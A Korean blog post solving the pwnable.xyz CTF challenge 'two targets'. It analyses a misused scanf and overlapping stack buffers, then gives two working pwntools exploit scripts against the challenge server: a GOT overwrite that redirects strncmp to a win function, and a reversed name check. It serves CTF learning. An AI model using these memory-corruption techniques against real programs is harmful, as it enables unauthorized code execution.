pwnable.xyz 8번째 문제 two targets 이다.

 

바이너리를 실행하면 아래 처럼 유저에게 name, nationality, age를 입력받는 것을 볼 수 있다.

4번을 누를 시 어떤 조건에 만족 한다면 flag를 획득 할 수 있는 것 같다.

 

 

이 문제는 제목 그대로 2개의 타겟이다.

2가지 중 하나의 방법을 택하여 문제를 풀 수 있다.

 

아래에는 2가지 풀이 법을 설명 해놓았다.

 

 

Analyze 1 (GOT overwrite)

challenge 바이너리에는 아래처럼 여러개의 사용자 정의 함수가 있을 것을 볼 수 있다.

이번에 auth 라는 새로운 함수가 등장했다.

 

 

main 함수를 gdb로 분석해서 간단하게 pseudo code로 나타내면 아래와 같다.

반복 기능도 넣어야 하지만 중요한 부분만 pseudo code 로 나타냈기 때문에 참고만 하자. 

pseudo code

위 코드를 보면 문제점 2개가 있다.

 

  • 주소가 아닌 값을 참조하여 생긴 문제

위 pseudo code를 보면 18번째 줄에 정수형으로 값을 받으려고 하는데, (&rbp-0x10) 의 주소가 아닌 

*(&rbp-0x10) 값으로 입력을 받으려고 하고 있다.

 

c 언어로 설명하자면 아래와 같은 상황이다.

int a;
scanf("%d", &a); 	// 정상

int b;
scanf("%d", b);		// 비정상

 

이 상황을 gdb로 보면 아래 처럼 확연히 차이가 나는 것을 볼 수 있다.

아래 사진은 +168을 보면 주소를 rax에 저장 하지만

정상적인 입력 받는 예

+215를 보면 주소의 값을 rax에 저장하는 것을 볼 수 있다.

주소의 값으로 입력 받는 예

이것이 1번째 문제점이다.

 

 

  • Overwrite

rbp는 임의의 변수라고 생각하자.

 

name을 입력 받게 되면 %32s 때문에 32글자 + \x00&rbp-0x40에 저장한다.

즉,  name을 입력 받기 위한 최대 주소 범위는 (&rbp-0x40) ~ (&rbp-0x20) 이다.

 

Nation을 입력 받게 되면 %24s 때문에 24글자 + \x00&rbp-0x20에 저장한다.

즉, Nation을 입력 받기 휘안 최대 주소 범위는 (&rbp-0x20) ~ (&rbp-0x2) 이다.

 

age는 rbp-0x10에 정수형으로 값을 받고 있다. rbp-0x10Nation에서 입력을 받기 위한 범위에 속하기 때문에 data overwrite가 된다.

 

아래 사진은 위 설명을 메모리로 보았을 때 영역을 나눈 것이다.

빨간색name영역, 초록색Nation 영역, 주황색age 영역이다.

rbp 메모리 구조

위 사진을 보면 알 수 있듯이 nation 과 age 부분이 겹치는 것을 볼 수 있다.

 

이것이 2번째 문제점이다.

 

 

 

 

위 문제점을 이용해 공격 시나리오를 적어보자면, 

Nation을 입력할때, age 영역에 GOT address로 overwrite 한다.

age 값을 입력할때, age 변수는 GOT address에 값을 넣으려고 할것이다.

공격자는 값을 입력할 수 있으므로 GOT address를 변조 할 수 있게 된다.

 

그렇다면 변조할 함수는 어떤 것이 좋을까?

 

한번도 호출 되지 않은 함수를 이용하면 되는데, 바로 auth() 함수에 있는 strncmp 함수이다.

이는 "4" 라는 값을 입력했을때만 동작하므로 strncmp 함수를 이용하기에 적절하다.

 

 

strncmp 함수가 호출 되기 전, 0x603018 주소의 값으로 점프한다. 

 

그리고 win 함수의 주소는 0x000000000040099c 이다.

*(0x603018) = 0x000000000040099c 이렇게 하면 strncmp 함수가 호출 될때 win 함수로 점프 하게 된다.

 

 

이 공격을 성공하기 위해

Nation에 "A"*16 + got_address 를 입력하고

age에 win 함수의 주소를 입력 한뒤,

"4" 를 입력해서 strncmp 함수 호출을 유도한다.

 

Payload 1

payload는 다음과 같다.

from pwn import *

p = remote("svc.pwnable.xyz", 30031)

got_overwrite = 0x603018
send1 = "A"*16 + p64(got_overwrite)
win_addr = 0x000000000040099c
send2 = p64(win_addr)

p.sendlineafter("> ", "2")
p.sendlineafter(": ", send1)
p.sendlineafter("> ", "3")
p.sendlineafter(": ", str(0x000000000040099c))
p.sendlineafter("> ", "4")
p.interactive()

 

 

 


 

Analyze 2 (Reversing)

auth 함수가 호출 되기 전에 rbp-0x40 주소를 인자로 받는 것을 볼 수 있다.

auth() 함수 호출 전

 

auth 함수를 gdb로 분석해보면 조금 긴 어셈블리어를 볼 수 있는데, 이를 분석하면 아래와 같다.

auth 함수의 pseudo code

input 값은 유저가 입력한 name 값 이다.

이를 32번 반복문 돌려 한 문자씩 어떠한 과정을 거쳐 result 변수에 하나씩 저장이 된다.

여기서 al 변수는 unsigned char 타입으로 1byte 만 저장한다는 것을 알아 두자.

 

반복문이 끝나면 *(&rip+0x1257) 값과 result 값을 비교하여, 같으면 flag를 출력한다.

그럼 *(&rip+0x1257)의 값을 출력해보자.

b *auth+164 명령어로 breakpoint를 걸어준다.

 

친절하게 &rip+0x1257 는 0x401d28 라고 옆에 나와있다.

 

32번 반복하므로 아래 값이랑 result랑 비교를 하는 것이다.

 

Payload 2

우리는 이미 비교하는 값을 알고 있으므로 이를 역으로 연산하여 name에 입력할 값을 찾아보자.

name 에 입력할 값을 찾기 위해 python으로 코드를 짜보았다.

from ctypes import *

def getHex(addr):
    result = []
    for addr in addr:
        tmp = []
        for h in range(1, int(len(addr)/2)+1):
            tmp.append(int("0x" + addr[2*(h-1):h*2], 16))
        result.append(tmp[::-1])
        
    result = result[0] + result[1] + result[2] + result[3]
    return result

main_addr = ["50ec8348e5894855", "00002825048b4864", "e8c031f845894800", "c0458d48fffffe24"]
comp_addr = ["a5bb75df10cfde11", "d6f5bfe3c29d1e43", "1d96b7bfb0be7f96", "ff0dc9bfd90abba8"]

main_addr_hex = getHex(main_addr)
comp_addr_hex = getHex(comp_addr)

result = ""
for c in range(0,32):
    check = 0
    for i in range(0,999):
        tmp = c_ubyte((i >> 0x4) | (i << 0x4)).value
        tmp = c_ubyte(tmp ^ main_addr_hex[c]).value
        
        
        if tmp == comp_addr_hex[c]:
            tmp2 = hex(i)[2:]
            result += chr(i)
            break

print(result)

결과 값은 다음과 같았다.

이 값을 서버에 보내면 되므로 최종적인 payload 아래와 같다.

from ctypes import *
from pwn import *

def getHex(addr):
    result = []
    for addr in addr:
        tmp = []
        for h in range(1, int(len(addr)/2)+1):
            tmp.append(int("0x" + addr[2*(h-1):h*2], 16))
        result.append(tmp[::-1])
        
    result = result[0] + result[1] + result[2] + result[3]
    return result

main_addr = ["50ec8348e5894855", "00002825048b4864", "e8c031f845894800", "c0458d48fffffe24"]
comp_addr = ["a5bb75df10cfde11", "d6f5bfe3c29d1e43", "1d96b7bfb0be7f96", "ff0dc9bfd90abba8"]

main_addr_hex = getHex(main_addr)
comp_addr_hex = getHex(comp_addr)

result = ""
for c in range(0,32):
    check = 0
    for i in range(0,999):
        tmp = c_ubyte((i >> 0x4) | (i << 0x4)).value
        tmp = c_ubyte(tmp ^ main_addr_hex[c]).value
        
        
        if tmp == comp_addr_hex[c]:
            tmp2 = hex(i)[2:]
            result += chr(i)
            break
        
p = remote("svc.pwnable.xyz", 30031)
p.sendlineafter(">", "1")
p.sendlineafter(":", result)
p.sendlineafter(">", "4")
p.interactive()

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] note write up  (0) 2020.01.25
[pwnable.xyz] Grownup write up  (0) 2020.01.25
[pwnable.xyz] two targets write up  (0) 2020.01.02
[pwnable.xyz] xor write up  (0) 2020.01.01
[pwnable.xyz] misalignment write up  (0) 2020.01.01
[pwnable.xyz] add write up  (0) 2019.12.28